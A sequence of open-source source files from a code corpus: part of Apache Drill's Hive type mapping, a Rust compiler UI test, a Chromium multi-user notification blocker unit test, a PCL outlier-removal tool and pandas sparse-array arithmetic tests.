switch(primitiveTypeInfo.getPrimitiveCategory()) {
case BINARY:
return TypeProtos.MinorType.VARBINARY;
case BOOLEAN:
return TypeProtos.MinorType.BIT;
case DECIMAL: {
if (options.getOption(PlannerSettings.ENABLE_DECIMAL_DATA_TYPE_KEY).bool_val == false) {
throw UserException.unsupportedError()
.message(ExecErrorConstants.DECIMAL_DISABLE_ERR_MSG)
.build(logger);
}
DecimalTypeInfo decimalTypeInfo = (DecimalTypeInfo) primitiveTypeInfo;
return DecimalUtility.getDecimalDataType(decimalTypeInfo.precision());
}
case DOUBLE:
return TypeProtos.MinorType.FLOAT8;
case FLOAT:
return TypeProtos.MinorType.FLOAT4;
// TODO (DRILL-2470)
// Byte and short (tinyint and smallint in SQL types) are currently read as integers
// as these smaller integer types are not fully supported in Drill today.
case SHORT:
case BYTE:
case INT:
return TypeProtos.MinorType.INT;
case LONG:
return TypeProtos.MinorType.BIGINT;
case STRING:
case VARCHAR:
return TypeProtos.MinorType.VARCHAR;
case TIMESTAMP:
return TypeProtos.MinorType.TIMESTAMP;
case DATE:
return TypeProtos.MinorType.DATE;
}
throwUnsupportedHiveDataTypeError(primitiveTypeInfo.getPrimitiveCategory().toString());
return null;
}
public static String getDefaultPartitionValue(final Map<String, String> hiveConfigOverride) {
// Check if the default partition config in given Hive config override in Hive storage pluging definition.
String defaultPartitionValue = hiveConfigOverride.get(ConfVars.DEFAULTPARTITIONNAME.varname);
if (!Strings.isNullOrEmpty(defaultPartitionValue)) {
return defaultPartitionValue;
}
// Create a HiveConf and get the configured value. If any hive-site.xml file on the classpath has the property
// defined, it will be returned. Otherwise default value is returned.
return new HiveConf().getVar(ConfVars.DEFAULTPARTITIONNAME);
}
public static void throwUnsupportedHiveDataTypeError(String unsupportedType) {
StringBuilder errMsg = new StringBuilder();
errMsg.append(String.format("Unsupported Hive data type %s. ", unsupportedType));
errMsg.append(System.getProperty("line.separator"));
errMsg.append("Following Hive data types are supported in Drill for querying: ");
errMsg.append(
"BOOLEAN, TINYINT, SMALLINT, INT, BIGINT, FLOAT, DOUBLE, DATE, TIMESTAMP, BINARY, DECIMAL, STRING, and VARCHAR");
throw UserException.unsupportedError()
.message(errMsg.toString())
.build(logger);
}
}
| apache-2.0 |
graydon/rust | src/test/ui/impl-trait/type-arg-mismatch-due-to-impl-trait.rs | 371 | trait Foo {
type T;
fn foo(&self, t: Self::T);
//~^ NOTE expected 0 type parameters
}
impl Foo for u32 {
type T = ();
fn foo(&self, t: impl Clone) {}
//~^ ERROR method `foo` has 1 type parameter but its trait declaration has 0 type parameters
//~| NOTE found 1 type parameter
//~| NOTE `impl Trait` introduces an implicit type parameter
}
fn main() {}
| apache-2.0 |
ltilve/ChromiumGStreamerBackend | chrome/browser/ui/ash/multi_user/multi_user_notification_blocker_chromeos_unittest.cc | 10682 | // Copyright 2014 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "ash/session/session_state_delegate.h"
#include "ash/shell.h"
#include "ash/system/system_notifier.h"
#include "ash/test/ash_test_base.h"
#include "ash/test/test_session_state_delegate.h"
#include "ash/test/test_shell_delegate.h"
#include "chrome/browser/chromeos/login/users/scoped_user_manager_enabler.h"
#include "chrome/browser/chromeos/login/users/wallpaper/wallpaper_manager.h"
#include "chrome/browser/ui/ash/multi_user/multi_user_notification_blocker_chromeos.h"
#include "chrome/browser/ui/ash/multi_user/multi_user_window_manager_chromeos.h"
#include "chrome/test/base/testing_browser_process.h"
#include "chrome/test/base/testing_profile_manager.h"
#include "components/user_manager/fake_user_manager.h"
#include "components/user_manager/user_info.h"
#include "ui/message_center/message_center.h"
#include "ui/message_center/notification.h"
class MultiUserNotificationBlockerChromeOSTest
: public ash::test::AshTestBase,
public message_center::NotificationBlocker::Observer {
public:
MultiUserNotificationBlockerChromeOSTest()
: state_changed_count_(0),
testing_profile_manager_(TestingBrowserProcess::GetGlobal()),
window_id_(0),
fake_user_manager_(new user_manager::FakeUserManager),
user_manager_enabler_(fake_user_manager_) {}
~MultiUserNotificationBlockerChromeOSTest() override {}
// ash::test::AshTestBase overrides:
void SetUp() override {
ash::test::AshTestBase::SetUp();
ASSERT_TRUE(testing_profile_manager_.SetUp());
// MultiUserWindowManager is initialized after the log in.
testing_profile_manager_.CreateTestingProfile(GetDefaultUserId());
ash::test::TestShellDelegate* shell_delegate =
static_cast<ash::test::TestShellDelegate*>(
ash::Shell::GetInstance()->delegate());
shell_delegate->set_multi_profiles_enabled(true);
chrome::MultiUserWindowManager::CreateInstance();
ash::test::TestSessionStateDelegate* session_state_delegate =
static_cast<ash::test::TestSessionStateDelegate*>(
ash::Shell::GetInstance()->session_state_delegate());
session_state_delegate->AddUser("test2@example.com");
chromeos::WallpaperManager::Initialize();
// Disable any animations for the test.
GetMultiUserWindowManager()->SetAnimationSpeedForTest(
chrome::MultiUserWindowManagerChromeOS::ANIMATION_SPEED_DISABLED);
GetMultiUserWindowManager()->notification_blocker_->AddObserver(this);
}
void TearDown() override {
GetMultiUserWindowManager()->notification_blocker_->RemoveObserver(this);
if (chrome::MultiUserWindowManager::GetInstance())
chrome::MultiUserWindowManager::DeleteInstance();
ash::test::AshTestBase::TearDown();
chromeos::WallpaperManager::Shutdown();
}
// message_center::NotificationBlocker::Observer ovverrides:
void OnBlockingStateChanged(
message_center::NotificationBlocker* blocker) override {
state_changed_count_++;
}
protected:
chrome::MultiUserWindowManagerChromeOS* GetMultiUserWindowManager() {
return static_cast<chrome::MultiUserWindowManagerChromeOS*>(
chrome::MultiUserWindowManager::GetInstance());
}
const std::string GetDefaultUserId() {
return ash::Shell::GetInstance()
->session_state_delegate()
->GetUserInfo(0)
->GetUserID();
}
const message_center::NotificationBlocker* blocker() {
return GetMultiUserWindowManager()->notification_blocker_.get();
}
void CreateProfile(const std::string& name) {
testing_profile_manager_.CreateTestingProfile(name);
}
void SwitchActiveUser(const std::string& name) {
ash::Shell::GetInstance()->session_state_delegate()->SwitchActiveUser(name);
if (chrome::MultiUserWindowManager::GetMultiProfileMode() ==
chrome::MultiUserWindowManager::MULTI_PROFILE_MODE_SEPARATED) {
static_cast<chrome::MultiUserWindowManagerChromeOS*>(
chrome::MultiUserWindowManager::GetInstance())->ActiveUserChanged(
name);
}
}
int GetStateChangedCountAndReset() {
int result = state_changed_count_;
state_changed_count_ = 0;
return result;
}
bool ShouldShowNotificationAsPopup(
const message_center::NotifierId& notifier_id,
const std::string profile_id) {
message_center::NotifierId id_with_profile = notifier_id;
id_with_profile.profile_id = profile_id;
return blocker()->ShouldShowNotificationAsPopup(id_with_profile);
}
bool ShouldShowNotification(
const message_center::NotifierId& notifier_id,
const std::string profile_id) {
message_center::NotifierId id_with_profile = notifier_id;
id_with_profile.profile_id = profile_id;
return blocker()->ShouldShowNotification(id_with_profile);
}
aura::Window* CreateWindowForProfile(const std::string& name) {
aura::Window* window = CreateTestWindowInShellWithId(window_id_++);
chrome::MultiUserWindowManager::GetInstance()->SetWindowOwner(window, name);
return window;
}
private:
int state_changed_count_;
TestingProfileManager testing_profile_manager_;
int window_id_;
user_manager::FakeUserManager* fake_user_manager_; // Not owned.
chromeos::ScopedUserManagerEnabler user_manager_enabler_;
DISALLOW_COPY_AND_ASSIGN(MultiUserNotificationBlockerChromeOSTest);
};
TEST_F(MultiUserNotificationBlockerChromeOSTest, Basic) {
ASSERT_EQ(chrome::MultiUserWindowManager::MULTI_PROFILE_MODE_SEPARATED,
chrome::MultiUserWindowManager::GetMultiProfileMode());
message_center::NotifierId notifier_id(
message_center::NotifierId::APPLICATION, "test-app");
// Only allowed the system notifier.
message_center::NotifierId ash_system_notifier(
message_center::NotifierId::SYSTEM_COMPONENT,
ash::system_notifier::kNotifierDisplay);
// Other system notifiers should be treated as same as a normal notifier.
message_center::NotifierId random_system_notifier(
message_center::NotifierId::SYSTEM_COMPONENT, "random_system_component");
EXPECT_FALSE(ShouldShowNotificationAsPopup(notifier_id, ""));
EXPECT_TRUE(ShouldShowNotificationAsPopup(ash_system_notifier, ""));
EXPECT_FALSE(ShouldShowNotificationAsPopup(random_system_notifier, ""));
EXPECT_TRUE(ShouldShowNotificationAsPopup(notifier_id, GetDefaultUserId()));
EXPECT_FALSE(ShouldShowNotification(notifier_id, ""));
EXPECT_TRUE(ShouldShowNotification(ash_system_notifier, ""));
EXPECT_FALSE(ShouldShowNotification(random_system_notifier, ""));
EXPECT_TRUE(ShouldShowNotification(notifier_id, GetDefaultUserId()));
EXPECT_TRUE(ShouldShowNotification(random_system_notifier,
GetDefaultUserId()));
CreateProfile("test2@example.com");
EXPECT_EQ(0, GetStateChangedCountAndReset());
EXPECT_FALSE(ShouldShowNotificationAsPopup(notifier_id, ""));
EXPECT_TRUE(ShouldShowNotificationAsPopup(ash_system_notifier, ""));
EXPECT_FALSE(ShouldShowNotificationAsPopup(random_system_notifier, ""));
EXPECT_TRUE(ShouldShowNotificationAsPopup(notifier_id, GetDefaultUserId()));
EXPECT_FALSE(ShouldShowNotificationAsPopup(notifier_id, "test2@example.com"));
EXPECT_TRUE(ShouldShowNotificationAsPopup(random_system_notifier,
GetDefaultUserId()));
EXPECT_FALSE(ShouldShowNotificationAsPopup(random_system_notifier,
"test2@example.com"));
EXPECT_FALSE(ShouldShowNotification(notifier_id, ""));
EXPECT_TRUE(ShouldShowNotification(ash_system_notifier, ""));
EXPECT_FALSE(ShouldShowNotification(random_system_notifier, ""));
EXPECT_TRUE(ShouldShowNotification(notifier_id, GetDefaultUserId()));
EXPECT_FALSE(ShouldShowNotification(notifier_id, "test2@example.com"));
EXPECT_TRUE(ShouldShowNotification(random_system_notifier,
GetDefaultUserId()));
EXPECT_FALSE(ShouldShowNotification(random_system_notifier,
"test2@example.com"));
SwitchActiveUser("test2@example.com");
EXPECT_FALSE(ShouldShowNotificationAsPopup(notifier_id, ""));
EXPECT_TRUE(ShouldShowNotificationAsPopup(ash_system_notifier, ""));
EXPECT_FALSE(ShouldShowNotificationAsPopup(random_system_notifier, ""));
EXPECT_FALSE(ShouldShowNotificationAsPopup(notifier_id, GetDefaultUserId()));
EXPECT_TRUE(ShouldShowNotificationAsPopup(notifier_id, "test2@example.com"));
EXPECT_FALSE(ShouldShowNotificationAsPopup(random_system_notifier,
GetDefaultUserId()));
EXPECT_TRUE(ShouldShowNotificationAsPopup(random_system_notifier,
"test2@example.com"));
EXPECT_FALSE(ShouldShowNotification(notifier_id, ""));
EXPECT_TRUE(ShouldShowNotification(ash_system_notifier, ""));
EXPECT_FALSE(ShouldShowNotification(random_system_notifier, ""));
EXPECT_FALSE(ShouldShowNotification(notifier_id, GetDefaultUserId()));
EXPECT_TRUE(ShouldShowNotification(notifier_id, "test2@example.com"));
EXPECT_FALSE(ShouldShowNotification(random_system_notifier,
GetDefaultUserId()));
EXPECT_TRUE(ShouldShowNotification(random_system_notifier,
"test2@example.com"));
SwitchActiveUser(GetDefaultUserId());
EXPECT_FALSE(ShouldShowNotificationAsPopup(notifier_id, ""));
EXPECT_TRUE(ShouldShowNotificationAsPopup(ash_system_notifier, ""));
EXPECT_FALSE(ShouldShowNotificationAsPopup(random_system_notifier, ""));
EXPECT_TRUE(ShouldShowNotificationAsPopup(notifier_id, GetDefaultUserId()));
EXPECT_FALSE(ShouldShowNotificationAsPopup(notifier_id, "test2@example.com"));
EXPECT_TRUE(ShouldShowNotificationAsPopup(random_system_notifier,
GetDefaultUserId()));
EXPECT_FALSE(ShouldShowNotificationAsPopup(random_system_notifier,
"test2@example.com"));
EXPECT_FALSE(ShouldShowNotification(notifier_id, ""));
EXPECT_TRUE(ShouldShowNotification(ash_system_notifier, ""));
EXPECT_FALSE(ShouldShowNotification(random_system_notifier, ""));
EXPECT_TRUE(ShouldShowNotification(notifier_id, GetDefaultUserId()));
EXPECT_FALSE(ShouldShowNotification(notifier_id, "test2@example.com"));
EXPECT_TRUE(ShouldShowNotification(random_system_notifier,
GetDefaultUserId()));
EXPECT_FALSE(ShouldShowNotification(random_system_notifier,
"test2@example.com"));
}
| bsd-3-clause |
soulsheng/pcl | apps/cloud_composer/tools/statistical_outlier_removal.cpp | 3482 | #include <pcl/apps/cloud_composer/tools/statistical_outlier_removal.h>
#include <pcl/apps/cloud_composer/items/cloud_item.h>
#include <pcl/filters/statistical_outlier_removal.h>
#include <pcl/point_types.h>
Q_EXPORT_PLUGIN2(cloud_composer_statistical_outlier_removal_tool, pcl::cloud_composer::StatisticalOutlierRemovalToolFactory)
pcl::cloud_composer::StatisticalOutlierRemovalTool::StatisticalOutlierRemovalTool (PropertiesModel* parameter_model, QObject* parent)
: ModifyItemTool (parameter_model, parent)
{
}
pcl::cloud_composer::StatisticalOutlierRemovalTool::~StatisticalOutlierRemovalTool ()
{
}
QList <pcl::cloud_composer::CloudComposerItem*>
pcl::cloud_composer::StatisticalOutlierRemovalTool::performAction (ConstItemList input_data, PointTypeFlags::PointType type)
{
QList <CloudComposerItem*> output;
const CloudComposerItem* input_item;
// Check input data length
if ( input_data.size () == 0)
{
qCritical () << "Empty input in StatisticalOutlierRemovalTool!";
return output;
}
else if ( input_data.size () > 1)
{
qWarning () << "Input vector has more than one item in StatisticalOutlierRemovalTool";
}
input_item = input_data.value (0);
if ( !input_item->isSanitized () )
{
qCritical () << "StatisticalOutlierRemovalTool requires sanitized input!";
return output;
}
if (input_item->type () == CloudComposerItem::CLOUD_ITEM )
{
pcl::PCLPointCloud2::ConstPtr input_cloud = input_item->data (ItemDataRole::CLOUD_BLOB).value <pcl::PCLPointCloud2::ConstPtr> ();
int mean_k = parameter_model_->getProperty("Mean K").toInt ();
double std_dev_thresh = parameter_model_->getProperty ("Std Dev Thresh").toDouble ();
//////////////// THE WORK - FILTERING OUTLIERS ///////////////////
// Create the filtering object
pcl::StatisticalOutlierRemoval<pcl::PCLPointCloud2> sor;
sor.setInputCloud (input_cloud);
sor.setMeanK (mean_k);
sor.setStddevMulThresh (std_dev_thresh);
//Create output cloud
pcl::PCLPointCloud2::Ptr cloud_filtered (new pcl::PCLPointCloud2);
//Filter!
sor.filter (*cloud_filtered);
//////////////////////////////////////////////////////////////////
//Get copies of the original origin and orientation
Eigen::Vector4f source_origin = input_item->data (ItemDataRole::ORIGIN).value<Eigen::Vector4f> ();
Eigen::Quaternionf source_orientation = input_item->data (ItemDataRole::ORIENTATION).value<Eigen::Quaternionf> ();
//Put the modified cloud into an item, stick in output
CloudItem* cloud_item = new CloudItem (input_item->text () + tr (" sor filtered")
, cloud_filtered
, source_origin
, source_orientation);
output.append (cloud_item);
}
else
{
qDebug () << "Input item in StatisticalOutlierRemovalTool is not a cloud!!!";
}
return output;
}
/////////////////// PARAMETER MODEL /////////////////////////////////
pcl::cloud_composer::PropertiesModel*
pcl::cloud_composer::StatisticalOutlierRemovalToolFactory::createToolParameterModel (QObject* parent)
{
PropertiesModel* parameter_model = new PropertiesModel(parent);
parameter_model->addProperty ("Mean K", 50, Qt::ItemIsEditable | Qt::ItemIsEnabled);
parameter_model->addProperty ("Std Dev Thresh", 1.0, Qt::ItemIsEditable | Qt::ItemIsEnabled);
return parameter_model;
} | bsd-3-clause |
jmmease/pandas | pandas/tests/sparse/test_arithmetics.py | 19342 | import numpy as np
import pandas as pd
import pandas.util.testing as tm
class TestSparseArrayArithmetics(object):
_base = np.array
_klass = pd.SparseArray
def _assert(self, a, b):
tm.assert_numpy_array_equal(a, b)
def _check_numeric_ops(self, a, b, a_dense, b_dense):
with np.errstate(invalid='ignore', divide='ignore'):
# Unfortunately, trying to wrap the computation of each expected
# value is with np.errstate() is too tedious.
# sparse & sparse
self._assert((a + b).to_dense(), a_dense + b_dense)
self._assert((b + a).to_dense(), b_dense + a_dense)
self._assert((a - b).to_dense(), a_dense - b_dense)
self._assert((b - a).to_dense(), b_dense - a_dense)
self._assert((a * b).to_dense(), a_dense * b_dense)
self._assert((b * a).to_dense(), b_dense * a_dense)
# pandas uses future division
self._assert((a / b).to_dense(), a_dense * 1.0 / b_dense)
self._assert((b / a).to_dense(), b_dense * 1.0 / a_dense)
# ToDo: FIXME in GH 13843
if not (self._base == pd.Series and a.dtype == 'int64'):
self._assert((a // b).to_dense(), a_dense // b_dense)
self._assert((b // a).to_dense(), b_dense // a_dense)
self._assert((a % b).to_dense(), a_dense % b_dense)
self._assert((b % a).to_dense(), b_dense % a_dense)
self._assert((a ** b).to_dense(), a_dense ** b_dense)
self._assert((b ** a).to_dense(), b_dense ** a_dense)
# sparse & dense
self._assert((a + b_dense).to_dense(), a_dense + b_dense)
self._assert((b_dense + a).to_dense(), b_dense + a_dense)
self._assert((a - b_dense).to_dense(), a_dense - b_dense)
self._assert((b_dense - a).to_dense(), b_dense - a_dense)
self._assert((a * b_dense).to_dense(), a_dense * b_dense)
self._assert((b_dense * a).to_dense(), b_dense * a_dense)
# pandas uses future division
self._assert((a / b_dense).to_dense(), a_dense * 1.0 / b_dense)
self._assert((b_dense / a).to_dense(), b_dense * 1.0 / a_dense)
# ToDo: FIXME in GH 13843
if not (self._base == pd.Series and a.dtype == 'int64'):
self._assert((a // b_dense).to_dense(), a_dense // b_dense)
self._assert((b_dense // a).to_dense(), b_dense // a_dense)
self._assert((a % b_dense).to_dense(), a_dense % b_dense)
self._assert((b_dense % a).to_dense(), b_dense % a_dense)
self._assert((a ** b_dense).to_dense(), a_dense ** b_dense)
self._assert((b_dense ** a).to_dense(), b_dense ** a_dense)
def _check_bool_result(self, res):
assert isinstance(res, self._klass)
assert res.dtype == np.bool
assert isinstance(res.fill_value, bool)
def _check_comparison_ops(self, a, b, a_dense, b_dense):
with np.errstate(invalid='ignore'):
# Unfortunately, trying to wrap the computation of each expected
# value is with np.errstate() is too tedious.
#
# sparse & sparse
self._check_bool_result(a == b)
self._assert((a == b).to_dense(), a_dense == b_dense)
self._check_bool_result(a != b)
self._assert((a != b).to_dense(), a_dense != b_dense)
self._check_bool_result(a >= b)
self._assert((a >= b).to_dense(), a_dense >= b_dense)
self._check_bool_result(a <= b)
self._assert((a <= b).to_dense(), a_dense <= b_dense)
self._check_bool_result(a > b)
self._assert((a > b).to_dense(), a_dense > b_dense)
self._check_bool_result(a < b)
self._assert((a < b).to_dense(), a_dense < b_dense)
# sparse & dense
self._check_bool_result(a == b_dense)
self._assert((a == b_dense).to_dense(), a_dense == b_dense)
self._check_bool_result(a != b_dense)
self._assert((a != b_dense).to_dense(), a_dense != b_dense)
self._check_bool_result(a >= b_dense)
self._assert((a >= b_dense).to_dense(), a_dense >= b_dense)
self._check_bool_result(a <= b_dense)
self._assert((a <= b_dense).to_dense(), a_dense <= b_dense)
self._check_bool_result(a > b_dense)
self._assert((a > b_dense).to_dense(), a_dense > b_dense)
self._check_bool_result(a < b_dense)
self._assert((a < b_dense).to_dense(), a_dense < b_dense)
def _check_logical_ops(self, a, b, a_dense, b_dense):
# sparse & sparse
self._check_bool_result(a & b)
self._assert((a & b).to_dense(), a_dense & b_dense)
self._check_bool_result(a | b)
self._assert((a | b).to_dense(), a_dense | b_dense)
# sparse & dense
self._check_bool_result(a & b_dense)
self._assert((a & b_dense).to_dense(), a_dense & b_dense)
self._check_bool_result(a | b_dense)
self._assert((a | b_dense).to_dense(), a_dense | b_dense)
def test_float_scalar(self):
values = self._base([np.nan, 1, 2, 0, np.nan, 0, 1, 2, 1, np.nan])
for kind in ['integer', 'block']:
a = self._klass(values, kind=kind)
self._check_numeric_ops(a, 1, values, 1)
self._check_numeric_ops(a, 0, values, 0)
self._check_numeric_ops(a, 3, values, 3)
a = self._klass(values, kind=kind, fill_value=0)
self._check_numeric_ops(a, 1, values, 1)
self._check_numeric_ops(a, 0, values, 0)
self._check_numeric_ops(a, 3, values, 3)
a = self._klass(values, kind=kind, fill_value=2)
self._check_numeric_ops(a, 1, values, 1)
self._check_numeric_ops(a, 0, values, 0)
self._check_numeric_ops(a, 3, values, 3)
def test_float_scalar_comparison(self):
values = self._base([np.nan, 1, 2, 0, np.nan, 0, 1, 2, 1, np.nan])
for kind in ['integer', 'block']:
a = self._klass(values, kind=kind)
self._check_comparison_ops(a, 1, values, 1)
self._check_comparison_ops(a, 0, values, 0)
self._check_comparison_ops(a, 3, values, 3)
a = self._klass(values, kind=kind, fill_value=0)
self._check_comparison_ops(a, 1, values, 1)
self._check_comparison_ops(a, 0, values, 0)
self._check_comparison_ops(a, 3, values, 3)
a = self._klass(values, kind=kind, fill_value=2)
self._check_comparison_ops(a, 1, values, 1)
self._check_comparison_ops(a, 0, values, 0)
self._check_comparison_ops(a, 3, values, 3)
def test_float_same_index(self):
# when sp_index are the same
for kind in ['integer', 'block']:
values = self._base([np.nan, 1, 2, 0, np.nan, 0, 1, 2, 1, np.nan])
rvalues = self._base([np.nan, 2, 3, 4, np.nan, 0, 1, 3, 2, np.nan])
a = self._klass(values, kind=kind)
b = self._klass(rvalues, kind=kind)
self._check_numeric_ops(a, b, values, rvalues)
values = self._base([0., 1., 2., 6., 0., 0., 1., 2., 1., 0.])
rvalues = self._base([0., 2., 3., 4., 0., 0., 1., 3., 2., 0.])
a = self._klass(values, kind=kind, fill_value=0)
b = self._klass(rvalues, kind=kind, fill_value=0)
self._check_numeric_ops(a, b, values, rvalues)
def test_float_same_index_comparison(self):
# when sp_index are the same
for kind in ['integer', 'block']:
values = self._base([np.nan, 1, 2, 0, np.nan, 0, 1, 2, 1, np.nan])
rvalues = self._base([np.nan, 2, 3, 4, np.nan, 0, 1, 3, 2, np.nan])
a = self._klass(values, kind=kind)
b = self._klass(rvalues, kind=kind)
self._check_comparison_ops(a, b, values, rvalues)
values = self._base([0., 1., 2., 6., 0., 0., 1., 2., 1., 0.])
rvalues = self._base([0., 2., 3., 4., 0., 0., 1., 3., 2., 0.])
a = self._klass(values, kind=kind, fill_value=0)
b = self._klass(rvalues, kind=kind, fill_value=0)
self._check_comparison_ops(a, b, values, rvalues)
def test_float_array(self):
values = self._base([np.nan, 1, 2, 0, np.nan, 0, 1, 2, 1, np.nan])
rvalues = self._base([2, np.nan, 2, 3, np.nan, 0, 1, 5, 2, np.nan])
for kind in ['integer', 'block']:
a = self._klass(values, kind=kind)
b = self._klass(rvalues, kind=kind)
self._check_numeric_ops(a, b, values, rvalues)
self._check_numeric_ops(a, b * 0, values, rvalues * 0)
a = self._klass(values, kind=kind, fill_value=0)
b = self._klass(rvalues, kind=kind)
self._check_numeric_ops(a, b, values, rvalues)
a = self._klass(values, kind=kind, fill_value=0)
b = self._klass(rvalues, kind=kind, fill_value=0)
self._check_numeric_ops(a, b, values, rvalues)
a = self._klass(values, kind=kind, fill_value=1)
b = self._klass(rvalues, kind=kind, fill_value=2)
self._check_numeric_ops(a, b, values, rvalues)
def test_float_array_different_kind(self):
values = self._base([np.nan, 1, 2, 0, np.nan, 0, 1, 2, 1, np.nan])
rvalues = self._base([2, np.nan, 2, 3, np.nan, 0, 1, 5, 2, np.nan])
a = self._klass(values, kind='integer')
b = self._klass(rvalues, kind='block')
self._check_numeric_ops(a, b, values, rvalues)
self._check_numeric_ops(a, b * 0, values, rvalues * 0)
a = self._klass(values, kind='integer', fill_value=0)
b = self._klass(rvalues, kind='block')
self._check_numeric_ops(a, b, values, rvalues)
a = self._klass(values, kind='integer', fill_value=0)
b = self._klass(rvalues, kind='block', fill_value=0)
self._check_numeric_ops(a, b, values, rvalues)
a = self._klass(values, kind='integer', fill_value=1)
b = self._klass(rvalues, kind='block', fill_value=2)
self._check_numeric_ops(a, b, values, rvalues)
def test_float_array_comparison(self):
values = self._base([np.nan, 1, 2, 0, np.nan, 0, 1, 2, 1, np.nan])
rvalues = self._base([2, np.nan, 2, 3, np.nan, 0, 1, 5, 2, np.nan])
for kind in ['integer', 'block']:
a = self._klass(values, kind=kind)
b = self._klass(rvalues, kind=kind)
self._check_comparison_ops(a, b, values, rvalues)
self._check_comparison_ops(a, b * 0, values, rvalues * 0)
a = self._klass(values, kind=kind, fill_value=0)
b = self._klass(rvalues, kind=kind)
self._check_comparison_ops(a, b, values, rvalues)
a = self._klass(values, kind=kind, fill_value=0)
b = self._klass(rvalues, kind=kind, fill_value=0)
self._check_comparison_ops(a, b, values, rvalues)
a = self._klass(values, kind=kind, fill_value=1)
b = self._klass(rvalues, kind=kind, fill_value=2)
self._check_comparison_ops(a, b, values, rvalues)
def test_int_array(self):
# have to specify dtype explicitly until fixing GH 667
dtype = np.int64
values = self._base([0, 1, 2, 0, 0, 0, 1, 2, 1, 0], dtype=dtype)
rvalues = self._base([2, 0, 2, 3, 0, 0, 1, 5, 2, 0], dtype=dtype)
for kind in ['integer', 'block']:
a = self._klass(values, dtype=dtype, kind=kind)
assert a.dtype == dtype
b = self._klass(rvalues, dtype=dtype, kind=kind)
assert b.dtype == dtype
self._check_numeric_ops(a, b, values, rvalues)
self._check_numeric_ops(a, b * 0, values, rvalues * 0)
a = self._klass(values, fill_value=0, dtype=dtype, kind=kind)
assert a.dtype == dtype
b = self._klass(rvalues, dtype=dtype, kind=kind)
assert b.dtype == dtype
self._check_numeric_ops(a, b, values, rvalues)
a = self._klass(values, fill_value=0, dtype=dtype, kind=kind)
assert a.dtype == dtype
b = self._klass(rvalues, fill_value=0, dtype=dtype, kind=kind)
assert b.dtype == dtype
self._check_numeric_ops(a, b, values, rvalues)
a = self._klass(values, fill_value=1, dtype=dtype, kind=kind)
assert a.dtype == dtype
b = self._klass(rvalues, fill_value=2, dtype=dtype, kind=kind)
assert b.dtype == dtype
self._check_numeric_ops(a, b, values, rvalues)
def test_int_array_comparison(self):
# int32 NI ATM
for dtype in ['int64']:
values = self._base([0, 1, 2, 0, 0, 0, 1, 2, 1, 0], dtype=dtype)
rvalues = self._base([2, 0, 2, 3, 0, 0, 1, 5, 2, 0], dtype=dtype)
for kind in ['integer', 'block']:
a = self._klass(values, dtype=dtype, kind=kind)
b = self._klass(rvalues, dtype=dtype, kind=kind)
self._check_comparison_ops(a, b, values, rvalues)
self._check_comparison_ops(a, b * 0, values, rvalues * 0)
a = self._klass(values, dtype=dtype, kind=kind, fill_value=0)
b = self._klass(rvalues, dtype=dtype, kind=kind)
self._check_comparison_ops(a, b, values, rvalues)
a = self._klass(values, dtype=dtype, kind=kind, fill_value=0)
b = self._klass(rvalues, dtype=dtype, kind=kind, fill_value=0)
self._check_comparison_ops(a, b, values, rvalues)
a = self._klass(values, dtype=dtype, kind=kind, fill_value=1)
b = self._klass(rvalues, dtype=dtype, kind=kind, fill_value=2)
self._check_comparison_ops(a, b, values, rvalues)
def test_bool_same_index(self):
# GH 14000
# when sp_index are the same
for kind in ['integer', 'block']:
values = self._base([True, False, True, True], dtype=np.bool)
rvalues = self._base([True, False, True, True], dtype=np.bool)
for fill_value in [True, False, np.nan]:
a = self._klass(values, kind=kind, dtype=np.bool,
fill_value=fill_value)
b = self._klass(rvalues, kind=kind, dtype=np.bool,
fill_value=fill_value)
self._check_logical_ops(a, b, values, rvalues)
def test_bool_array_logical(self):
# GH 14000
# when sp_index are the same
for kind in ['integer', 'block']:
values = self._base([True, False, True, False, True, True],
dtype=np.bool)
rvalues = self._base([True, False, False, True, False, True],
dtype=np.bool)
for fill_value in [True, False, np.nan]:
a = self._klass(values, kind=kind, dtype=np.bool,
fill_value=fill_value)
b = self._klass(rvalues, kind=kind, dtype=np.bool,
fill_value=fill_value)
self._check_logical_ops(a, b, values, rvalues)
def test_mixed_array_float_int(self):
for rdtype in ['int64']:
values = self._base([np.nan, 1, 2, 0, np.nan, 0, 1, 2, 1, np.nan])
rvalues = self._base([2, 0, 2, 3, 0, 0, 1, 5, 2, 0], dtype=rdtype)
for kind in ['integer', 'block']:
a = self._klass(values, kind=kind)
b = self._klass(rvalues, kind=kind)
assert b.dtype == rdtype
self._check_numeric_ops(a, b, values, rvalues)
self._check_numeric_ops(a, b * 0, values, rvalues * 0)
a = self._klass(values, kind=kind, fill_value=0)
b = self._klass(rvalues, kind=kind)
assert b.dtype == rdtype
self._check_numeric_ops(a, b, values, rvalues)
a = self._klass(values, kind=kind, fill_value=0)
b = self._klass(rvalues, kind=kind, fill_value=0)
assert b.dtype == rdtype
self._check_numeric_ops(a, b, values, rvalues)
a = self._klass(values, kind=kind, fill_value=1)
b = self._klass(rvalues, kind=kind, fill_value=2)
assert b.dtype == rdtype
self._check_numeric_ops(a, b, values, rvalues)
def test_mixed_array_comparison(self):
# int32 NI ATM
for rdtype in ['int64']:
values = self._base([np.nan, 1, 2, 0, np.nan, 0, 1, 2, 1, np.nan])
rvalues = self._base([2, 0, 2, 3, 0, 0, 1, 5, 2, 0], dtype=rdtype)
for kind in ['integer', 'block']:
a = self._klass(values, kind=kind)
b = self._klass(rvalues, kind=kind)
assert b.dtype == rdtype
self._check_comparison_ops(a, b, values, rvalues)
self._check_comparison_ops(a, b * 0, values, rvalues * 0)
a = self._klass(values, kind=kind, fill_value=0)
b = self._klass(rvalues, kind=kind)
assert b.dtype == rdtype
self._check_comparison_ops(a, b, values, rvalues)
a = self._klass(values, kind=kind, fill_value=0)
b = self._klass(rvalues, kind=kind, fill_value=0)
assert b.dtype == rdtype
self._check_comparison_ops(a, b, values, rvalues)
a = self._klass(values, kind=kind, fill_value=1)
b = self._klass(rvalues, kind=kind, fill_value=2)
assert b.dtype == rdtype
self._check_comparison_ops(a, b, values, rvalues)
class TestSparseSeriesArithmetic(TestSparseArrayArithmetics):
_base = pd.Series
_klass = pd.SparseSeries
def _assert(self, a, b):
tm.assert_series_equal(a, b)
def test_alignment(self):
da = pd.Series(np.arange(4))
db = pd.Series(np.arange(4), index=[1, 2, 3, 4])
sa = pd.SparseSeries(np.arange(4), dtype=np.int64, fill_value=0)
sb = pd.SparseSeries(np.arange(4), index=[1, 2, 3, 4],
dtype=np.int64, fill_value=0)
self._check_numeric_ops(sa, sb, da, db)
